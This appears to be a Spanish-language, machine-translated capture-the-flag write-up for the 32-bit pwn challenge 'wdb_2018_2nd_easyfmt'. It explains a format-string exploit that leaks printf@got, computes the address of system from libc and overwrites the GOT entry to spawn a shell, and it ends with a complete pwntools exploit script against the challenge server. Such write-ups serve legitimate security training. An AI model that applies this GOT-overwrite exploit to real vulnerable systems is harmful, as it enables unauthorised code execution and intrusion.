wdb_2018_2nd_easyfmt
paso
- Inspección de rutina, programa de 32 bits, nx está activado
- Pruébelo localmente, observe la situación general, observe la situación interactiva y sepa que existe una vulnerabilidad de cadena de formato
- Carga ida de 32 bits
Usa ideas:
- Encuentra el desplazamiento del carácter de formato
- Imprima la dirección de print @ got, libc de fuga, calcule la dirección del sistema
- Modifique print @ got al sistema y pase el parámetro '/ bin / bash \ x00'
Proceso de utilización:
- Encuentra el desplazamiento es 6
- Imprime la dirección de print @ got
printf_got=elf.got["printf"]
payload=p32(printf_got)+"%6$s"
p.sendlineafter("repeater?\n",payload)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))
Una pequeña nota es recibir la dirección de printf @ got.
Recibo 4 bytes a la vez, y la segunda vez recibo la dirección que queremos. Creo que Master Pwnki usó f7 para recibirlo, y luego lo sacó usando la sintaxis de corte de Python, en segundos.
p.recv()
#sleep(1)
printf = p.recvuntil('\xf7')[-4:]
- Pasos de rutina de libc con fugas, sistema de cálculo, incapaz de usar LibcSearcher, use libc arriba y abajo de buu
#libc=LibcSearcher('printf',printf_addr)
#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')
libc=ELF('./libc-2.23(32).so')
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr ---> ",hex(system_addr))
- Modifique printf @ got al sistema, porque es un programa de 32 bits, por lo que uso directamente fmtstr_payload en pwntools, e ingreso bin / sh para obtener el shell
payload=fmtstr_payload(6,{printf_got:system_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')
Exp completa
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote("node3.buuoj.cn",29522)
#p=process('./wdb_2018_2nd_easyfmt')
elf=ELF('./wdb_2018_2nd_easyfmt')
printf_got=elf.got["printf"]
payload=p32(printf_got)+"%6$s"
p.sendlineafter("repeater?\n",payload)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))
#libc=LibcSearcher('printf',printf_addr)
#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')
libc=ELF('./libc-2.23(32).so')
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr ---> ",hex(system_addr))
payload=fmtstr_payload(6,{printf_got:system_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()